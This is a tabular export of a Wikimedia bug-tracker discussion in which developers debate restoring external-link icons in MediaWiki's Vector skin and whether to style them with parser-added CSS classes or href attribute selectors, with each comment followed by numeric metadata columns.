342907,Large number of CSS rules for external links,Meh.,,,1418744473,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,76,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Meh.
258956,Large number of CSS rules for external links,"PDF: To clarify this, the icon was always a generic document. On the English Wikipedia it uses an Adobe icon through Common.css.

The Typography Refresh removed the other icons in Vector. HTTPS icons were removed per Bug 61178.

So currently on the English Wikipedia we have the external link icon and the Adobe icon. Both are meaningless to our visually impaired readers since none of the icons have alt text; see Bug 45891.

Since many documents are now produced by dynamic web pages, they do not have the file extension that the CSS rules trigger on, thus those documents will show the simple external link icon.

Bottom line: How useful are the icons? Is there any other project using icons in this manner?",,,1413544350,,PHID-USER-zqde3skdzpqiwny4dxt4,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,67,,1.5,0.0,0.0,1.0,0.5,7.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.0,0.0,5.0,7.5,0.5,0.5,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,5.5,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,2.5,0.5,0.5,0.5,0.0,0.0,16.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,8.0,3.5,13.0,2.0,0.5,11.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,2.0,7.5,6.0,1.5,0.0,0.0,2.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.0,4.169014084507042,0.7816901408450705,"PDF: To clarify this, the icon was always a generic document. On the English Wikipedia it uses an Adobe icon through Common.css.

The Typography Refresh removed the other icons in Vector. HTTPS icons were removed per Bug 61178.

So currently on the English Wikipedia we have the external link icon and the Adobe icon. Both are meaningless to our visually impaired readers since none of the icons have alt text; see Bug 45891.

Since many documents are now produced by dynamic web pages, they do not have the file extension that the CSS rules trigger on, thus those documents will show the simple external link icon.

Bottom line: How useful are the icons? Is there any other project using icons in this manner?"
258953,Large number of CSS rules for external links,"1) As I said in comment #6 - the mailto, irc, audio/video, and pdf icons are frequently useful for:
* Readers to have ""principle of least astonishment"" when clicking on links which often have a non-typical-navigation result.
* Editors to see that an unusual link has been used/added, which might warrant further investigation.

2) Our internal Pronunciation links all have an icon added automatically: e.g. https://en.wikipedia.org/wiki/Template:Pronunciation and https://en.wikipedia.org/wiki/Template:IPA - e.g. at [[Götterdämmerung]]

Then, 2 similar ""bits of information - a difference that makes a difference"" that any of our users might appreciate.

3) we have a request from the Internet Archive to add icons to their links: #1 at https://www.mediawiki.org/wiki/Archived_Pages#Implementation_ideas (mentioned at https://lists.wikimedia.org/pipermail/design/2013-October/001065.html )

4) we have a request from the community, (and I believe connected to The Wikipedia Library), to add icons that denote Open-Access resources: https://en.wikipedia.org/wiki/Wikipedia:WikiProject_Open_Access/Signalling_OA-ness

For all of these reasons, I hope we can re-instate these icons in Vector. 
The patch to do so is currently -2'd based on lack of apparent consensus (https://gerrit.wikimedia.org/r/#/c/154350/). 
I've also left a comment (the first...) at [[Help talk:External link icons]]. 
Comments here or there, with additional rationales for supporting or opposing the re-instatement (for use-case or technical or other reasons) would be appreciated.",,,1413530059,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,67,,1.0,0.0,0.0,0.6666666666666666,0.0,6.333333333333333,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,3.0,0.3333333333333333,4.0,10.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,4.0,1.6666666666666667,0.0,3.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,3.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,13.666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,5.0,1.3333333333333333,10.333333333333334,0.6666666666666666,2.3333333333333335,7.666666666666667,0.0,0.0,0.0,0.6666666666666666,4.666666666666667,0.0,1.0,0.0,3.3333333333333335,10.666666666666666,2.6666666666666665,0.0,1.3333333333333333,0.0,3.3333333333333335,0.0,2.0,2.6666666666666665,0.0,1.0,0.0,0.3333333333333333,3.0,3.6926912887642196,0.7146252142745831,"1) As I said in comment #6 - the mailto, irc, audio/video, and pdf icons are frequently useful for:
* Readers to have ""principle of least astonishment"" when clicking on links which often have a non-typical-navigation result.
* Editors to see that an unusual link has been used/added, which might warrant further investigation.

2) Our internal Pronunciation links all have an icon added automatically: e.g. URL and URL - e.g. at [[Götterdämmerung]]

Then, 2 similar ""bits of information - a difference that makes a difference"" that any of our users might appreciate.

3) we have a request from the Internet Archive to add icons to their links: #1 at URL (mentioned at URL )

4) we have a request from the community, (and I believe connected to The Wikipedia Library), to add icons that denote Open-Access resources: URL

For all of these reasons, I hope we can re-instate these icons in Vector. 
The patch to do so is currently -2'd based on lack of apparent consensus (URL 
I've also left a comment (the first...) at [[Help talk:External link icons]]. 
Comments here or there, with additional rationales for supporting or opposing the re-instatement (for use-case or technical or other reasons) would be appreciated."
258951,Large number of CSS rules for external links,"(In reply to Bartosz Dziewoński from comment #81)
> So the general agreement is that it was good in the beginning and the change
> above was a bad idea.

I don't know how you have determined this from the above. Please give me the precise quotes you are attributing to.

All I see is agreement that we shouldn't use classes and should use an approach such as [href^=""https://""]

Whether they are a good idea is another question.
I wouldn't want them on my local wiki for example.",,,1409175468,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,60,,1.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,7.0,1.0,5.0,11.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,4.0,0.0,2.0,2.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,5.0,5.0,13.0,2.0,1.0,8.0,0.0,0.0,0.0,1.0,6.0,1.0,1.0,0.0,12.0,11.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,2.0,1.0,0.0,0.0,1.0,3.764705882352941,0.7647058823529411,"(In reply to Bartosz Dziewoński from comment #81)
QUOTE
QUOTE

I don't know how you have determined this from the above. Please give me the precise quotes you are attributing to.

All I see is agreement that we shouldn't use classes and should use an approach such as [href^=""URL

Whether they are a good idea is another question.
I wouldn't want them on my local wiki for example."
258949,Large number of CSS rules for external links,"Change 154350 had a related patch set uploaded by Bartosz Dziewoński:
Restore external links icons

https://gerrit.wikimedia.org/r/154350",,,1408142652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,58,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.105263157894737,1.0,"Change 154350 had a related patch set uploaded by Bartosz Dziewoński:
Restore external links icons

GERRIT_URL"
258947,Large number of CSS rules for external links,"So the general agreement is that it was good in the beginning and the change above was a bad idea. In other words, we should revert https://gerrit.wikimedia.org/r/#/c/123817/ in the Vector skin.

(Also, moving this to the Vector component, since the only changes that were implemented and the entire discussion involved only that skin.)",,,1408140797,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,0.0,2.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,2.0,0.0,6.0,10.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,6.0,10.0,3.0,3.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.967741935483871,0.7096774193548387,"So the general agreement is that it was good in the beginning and the change above was a bad idea. In other words, we should revert URL in the Vector skin.

(Also, moving this to the Vector component, since the only changes that were implemented and the entire discussion involved only that skin.)"
258945,Large number of CSS rules for external links,"Change 141973 abandoned by Bartosz Dziewoński:
Linker: Add CSS classes to external links to some protocols/filetypes

Reason:
Right.

https://gerrit.wikimedia.org/r/141973",,,1408140617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,58,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.482758620689655,0.8275862068965517,"Change 141973 abandoned by Bartosz Dziewoński:
Linker: Add CSS classes to external links to some protocols/filetypes

Reason:
Right.

GERRIT_URL"
258942,Large number of CSS rules for external links,"(In reply to Jon from comment #77)
> Isarra. What was the motivation for putting them in in the first place?

Given that this was orginally added in 2004, I couldn't say. I can, however, point you to comment #3 and comment #6, which detail specific reasons for keeping them in now.

> Putting styles in both core and common.css that do the same thing is a
> terrible terrible terrible thing and we should at least resolve that problem
> at the same time. The fact those rules exist there show MediaWiki was not
> serving there purpose and they were /not/ useful.

As I said, the English Wikipedia is not the only project that uses this software. What they do doesn't necessarily apply to other projects, especially when we don't even know why they did what they did.

> Currently each project as complete free reign to add these icons in
> common.css if they want to. I truly don't see the value in them being here.

Each project is free to write their entire skin css in common.css if they want to. Doesn't mean they should have to do that either.",,,1404409477,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,0.5,0.0,0.0,0.5,3.5,3.5,1.5,0.0,0.0,0.5,3.0,2.5,0.0,0.5,0.0,2.0,0.0,10.0,9.0,0.0,2.5,0.5,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,0.0,4.0,0.5,0.0,0.5,0.5,0.0,0.0,5.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,8.5,0.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,0.0,0.5,0.0,0.5,0.5,1.0,2.0,10.5,2.5,0.5,4.5,0.0,0.0,0.0,1.5,5.5,0.0,2.0,0.0,7.5,9.0,2.5,0.0,0.0,0.0,7.5,0.0,4.0,0.0,0.5,0.5,0.0,0.0,0.5,3.600383631713555,0.6935208866155158,"(In reply to Jon from comment #77)
QUOTE

Given that this was orginally added in 2004, I couldn't say. I can, however, point you to comment #3 and comment #6, which detail specific reasons for keeping them in now.

QUOTE
QUOTE
QUOTE
QUOTE

As I said, the English Wikipedia is not the only project that uses this software. What they do doesn't necessarily apply to other projects, especially when we don't even know why they did what they did.

QUOTE
QUOTE

Each project is free to write their entire skin css in common.css if they want to. Doesn't mean they should have to do that either."
258939,Large number of CSS rules for external links,"(In reply to Jon from comment #77)
> PS. How can I remove myself from this bug. Since I'm the creator, it doesn't
> seem possible.

Sorry, only available in next version: https://bugzilla.mozilla.org/show_bug.cgi?id=148564 - For the time being, custom filters / thread muting.",,,1404409227,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.388888888888889,0.9166666666666666,"(In reply to Jon from comment #77)
QUOTE
QUOTE

Sorry, only available in next version: URL - For the time being, custom filters / thread muting."
258935,Large number of CSS rules for external links,"Isarra. What was the motivation for putting them in in the first place?

Putting styles in both core and common.css that do the same thing is a terrible terrible terrible thing and we should at least resolve that problem at the same time. The fact those rules exist there show MediaWiki was not serving there purpose and they were /not/ useful.

Currently each project as complete free reign to add these icons in common.css if they want to. I truly don't see the value in them being here.

Isarra making use of icons is not the same as those icons giving value.

PS. How can I remove myself from this bug. Since I'm the creator, it doesn't seem possible. @Andre.. ?",,,1404407556,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,0.5,0.0,0.0,0.0,2.5,8.0,2.0,0.0,0.0,0.5,4.5,2.0,0.0,0.0,0.0,3.5,0.0,6.0,10.0,0.0,1.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,1.5,5.0,1.0,0.5,0.5,0.0,0.5,0.0,0.5,1.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,12.0,0.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.5,8.5,2.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.5,10.0,2.5,1.0,0.0,0.0,6.5,0.0,1.5,0.5,2.0,3.0,0.0,0.5,1.0,3.9642857142857144,0.75,"Isarra. What was the motivation for putting them in in the first place?

Putting styles in both core and common.css that do the same thing is a terrible terrible terrible thing and we should at least resolve that problem at the same time. The fact those rules exist there show MediaWiki was not serving there purpose and they were /not/ useful.

Currently each project as complete free reign to add these icons in common.css if they want to. I truly don't see the value in them being here.

Isarra making use of icons is not the same as those icons giving value.

PS. How can I remove myself from this bug. Since I'm the creator, it doesn't seem possible.SCREEN_NAME.. ?"
258928,Large number of CSS rules for external links,"(In reply to Jon from comment #75)
> The icons for audio, video etc have been gone for some time without any
> complaints that I am aware of. Maybe because a lot of these styles are
> implemented in MediaWiki:Common.css

Yes, nobody noticing would make it more difficult for anyone to complain about it.

> Let's not re-instate these classes and CSS rules. The status quo is
> currently fine. Let's not add back css rules for the sake of adding back css
> rules. I feel like we are wasting far too much energy on this bug.

MediaWiki serves more than just the English Wikipedia. While the icons often do serve little purpose on individual projects, many other projects do indeed make use of these icons, especially third-party technical projects which will not have seen that change at all due to generally being on stable releases (1.19, 1.22, 1.23 etc). This is not adding back css rules for the sake of adding them back, this is adding them back with a reasoned technical discussion about how best to do so considering the current technology, with the understanding that projects do use them, that there are real-life use cases speaking to their usefulness, and that there was no consensus to remove them in the first place.",,,1404403168,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,1.0,0.5,0.0,0.0,1.0,7.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,7.5,14.0,1.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,4.0,2.5,1.0,3.0,0.0,0.0,0.0,0.5,0.5,0.5,3.0,0.0,1.5,0.0,0.5,0.5,0.0,1.0,14.0,1.0,1.5,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.5,4.0,3.0,7.0,2.0,0.5,7.0,0.0,0.0,0.0,0.5,4.0,0.5,2.0,0.0,4.0,14.0,3.0,0.0,0.0,0.0,4.0,0.0,1.5,0.5,2.5,3.0,1.0,0.5,0.5,4.137082027168233,0.71989289446186,"(In reply to Jon from comment #75)
QUOTE
QUOTE
QUOTE

Yes, nobody noticing would make it more difficult for anyone to complain about it.

QUOTE
QUOTE
QUOTE

MediaWiki serves more than just the English Wikipedia. While the icons often do serve little purpose on individual projects, many other projects do indeed make use of these icons, especially third-party technical projects which will not have seen that change at all due to generally being on stable releases (1.19, 1.22, 1.23 etc). This is not adding back css rules for the sake of adding them back, this is adding them back with a reasoned technical discussion about how best to do so considering the current technology, with the understanding that projects do use them, that there are real-life use cases speaking to their usefulness, and that there was no consensus to remove them in the first place."
258923,Large number of CSS rules for external links,"The icons for audio, video etc have been gone for some time without any complaints that I am aware of. Maybe because a lot of these styles are implemented in MediaWiki:Common.css

Let's not re-instate these classes and CSS rules. The status quo is currently fine. Let's not add back css rules for the sake of adding back css rules. I feel like we are wasting far too much energy on this bug.",,,1404401835,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,4.0,0.0,0.0,2.0,2.0,5.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,21.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,6.0,12.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,15.0,2.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,3.776470588235294,0.7764705882352941,"The icons for audio, video etc have been gone for some time without any complaints that I am aware of. Maybe because a lot of these styles are implemented in MediaWiki:Common.css

Let's not re-instate these classes and CSS rules. The status quo is currently fine. Let's not add back css rules for the sake of adding back css rules. I feel like we are wasting far too much energy on this bug."
258918,Large number of CSS rules for external links,"Phew .. long discussion. I could have gone either way (selectors or css classes) till I hit Gabriel and Roan's comments and now Krinkle's about client burden and code duplication to support classes/attributes. If there were no alternatives and this were the spec, of course, all clients would have to implement it, but given that there are no serious drawbacks to picking selectors over classes, I too think that it is a better idea to use css for icon-styling of links.",,,1404399874,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,1.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,3.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,22.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,8.0,4.0,6.0,7.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,5.0,14.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,4.0625,0.7395833333333334,"Phew .. long discussion. I could have gone either way (selectors or css classes) till I hit Gabriel and Roan's comments and now Krinkle's about client burden and code duplication to support classes/attributes. If there were no alternatives and this were the spec, of course, all clients would have to implement it, but given that there are no serious drawbacks to picking selectors over classes, I too think that it is a better idea to use css for icon-styling of links."
258911,Large number of CSS rules for external links,"(In reply to Bartosz Dziewoński from comment #54)
> (In reply to Gabriel Wicke from comment #52)
> > Do we have actual measurements that verify that this benefits total page
> > view performance in practice?
> 
> We don't. Jon provided some funky tool in comment 11 but I've been unable to
> get it to work. Krinkle provided a theoretical explanation on why this
> should make a difference in comment 10.

The performance impact is quite negligible actually. I'd rather let browsers worry about that. This shouldn't be a main driving factor in this case because it is too insignificant. My main point there was maintenance overhead:

(Citing comment #10 from Krinkle)
> * Hardcodes details that (other) stylesheets should not have to know or hardcode, thus causing maintenance issues (e.g. the fact that it is an <a>, and is inside #bodyContent. The container can change, and links might be wrapped for presentational reasons)

This would be mitigated by using a selector like:

.mw-body-content a[href^=""https://""] {}

This doesn't have the added weight of an ID selector (#bodyContent) and is quite minimal and straight forward.
 

(In reply to Gabriel Wicke from comment #62)
> (In reply to Daniel Friesen from comment #61)
> > What if we ""don't"" want an icon?
> 
> The .plainlinks class was normally used to mark this up, and applied to all
> links inside a content block. How does this work with classes on each link?

That is indeed an important one to remember. Let's make sure we're compatible with that.

(In reply to Gabriel Wicke from comment #69)
> One issue I didn't mention yet is editor complexity. Every editor for our
> HTML including VE will need to replicate the class logic from the parser.
> This includes future micro-contribution tools like 'fix this link'. It seems
> likely that this will lead to rendering inconsistencies when the logic
> replication is not perfect.

I agree. Adding all these classes to the Parser will inflate Parser output with information that can trivially be derived from the href attribute, doesn't really provide value to customers of the HTML (other than saving a few characters in stylesheet), and adds more or less random complexity to other producers of HTML such as VisualEditor content editable preview nodes and Parsoid. All the information about the url is right in the href. I think keeping classes like these out of page HTML would be optimal for maintenance overall:

* Avoid imposing requirements on VE and Parsoid to add arbitrary attributes that the applied stylesheets should maintain instead. Separating responsibility and concerns; Unless it's a huge performance penalty we really shouldn't consider adding hooks like these inside the Parser for the skins' convenience.

* Avoid optimising arbitrarily for the needs of one skin (the classes we add would only be for certain protocols and include certain file extensions in the media types. If another consumer doesn't agree with our grouping or wants more, they'd be back to square one in using href-matching; ergo, the approach doesn't scale and signifies that it'd wrongly divide responsibility between parser and stylesheet.


I'd recommend going with something like:

.mw-body-content .external[href^=""https://""] {}",,,1404397752,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,0.6,0.2,0.0,0.4,1.2,4.6,1.8,0.2,0.0,0.4,2.0,2.6,0.0,0.2,0.2,1.8,0.4,5.2,10.8,0.2,0.4,0.6,0.0,0.0,0.2,0.8,0.0,0.2,0.2,1.8,0.0,3.8,0.8,0.6,3.2,0.0,0.0,0.0,0.4,0.6,0.0,0.2,0.0,2.2,0.2,0.4,0.2,0.2,0.2,14.0,1.2,0.8,0.0,0.8,0.4,0.0,0.0,0.0,0.4,0.0,0.2,2.2,0.0,0.0,0.2,0.2,0.0,4.2,2.4,11.6,0.8,2.4,7.0,0.0,0.0,0.0,1.0,4.8,0.0,1.6,0.0,3.0,10.8,6.2,0.0,0.2,0.0,3.0,0.0,0.4,1.2,0.0,2.2,0.6,0.0,0.2,4.24178027265437,0.7393477679764768,"(In reply to Bartosz Dziewoński from comment #54)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The performance impact is quite negligible actually. I'd rather let browsers worry about that. This shouldn't be a main driving factor in this case because it is too insignificant. My main point there was maintenance overhead:

(Citing comment #10 from Krinkle)
QUOTE

This would be mitigated by using a selector like:

.mw-body-content a[href^=""URL {}

This doesn't have the added weight of an ID selector (#bodyContent) and is quite minimal and straight forward.
 

(In reply to Gabriel Wicke from comment #62)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is indeed an important one to remember. Let's make sure we're compatible with that.

(In reply to Gabriel Wicke from comment #69)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I agree. Adding all these classes to the Parser will inflate Parser output with information that can trivially be derived from the href attribute, doesn't really provide value to customers of the HTML (other than saving a few characters in stylesheet), and adds more or less random complexity to other producers of HTML such as VisualEditor content editable preview nodes and Parsoid. All the information about the url is right in the href. I think keeping classes like these out of page HTML would be optimal for maintenance overall:

* Avoid imposing requirements on VE and Parsoid to add arbitrary attributes that the applied stylesheets should maintain instead. Separating responsibility and concerns; Unless it's a huge performance penalty we really shouldn't consider adding hooks like these inside the Parser for the skins' convenience.

* Avoid optimising arbitrarily for the needs of one skin (the classes we add would only be for certain protocols and include certain file extensions in the media types. If another consumer doesn't agree with our grouping or wants more, they'd be back to square one in using href-matching; ergo, the approach doesn't scale and signifies that it'd wrongly divide responsibility between parser and stylesheet.


I'd recommend going with something like:

.mw-body-content .external[href^=""URL {}"
258904,Large number of CSS rules for external links,"Re performance, I have not been able to find anything on the web that indicates that CSS selector performance is a significant issue in practice.

This SO articles seems to provide a good overview:
http://stackoverflow.com/questions/12279544/which-css-selectors-or-rules-can-significantly-affect-front-end-layout-renderi",,,1404340285,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,0.0,2.0,0.0,0.0,2.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,15.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,25.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,5.0,15.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,4.225,0.9,"Re performance, I have not been able to find anything on the web that indicates that CSS selector performance is a significant issue in practice.

This SO articles seems to provide a good overview:
URL"
258896,Large number of CSS rules for external links,+1 to Roan and Gabriel.,,,1404337326,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,+1 to Roan and Gabriel.
258888,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #69)
> One issue I didn't mention yet is editor complexity. Every editor for our
> HTML including VE will need to replicate the class logic from the parser.
> This includes future micro-contribution tools like 'fix this link'. It seems
> likely that this will lead to rendering inconsistencies when the logic
> replication is not perfect.

This is also a problem for VisualEditor. Even in the current system, not including any micro-contribution tools that Gabriel talks about, we would need three entirely separate copies of this logic, in:
* MediaWiki's wikitext->HTML parser
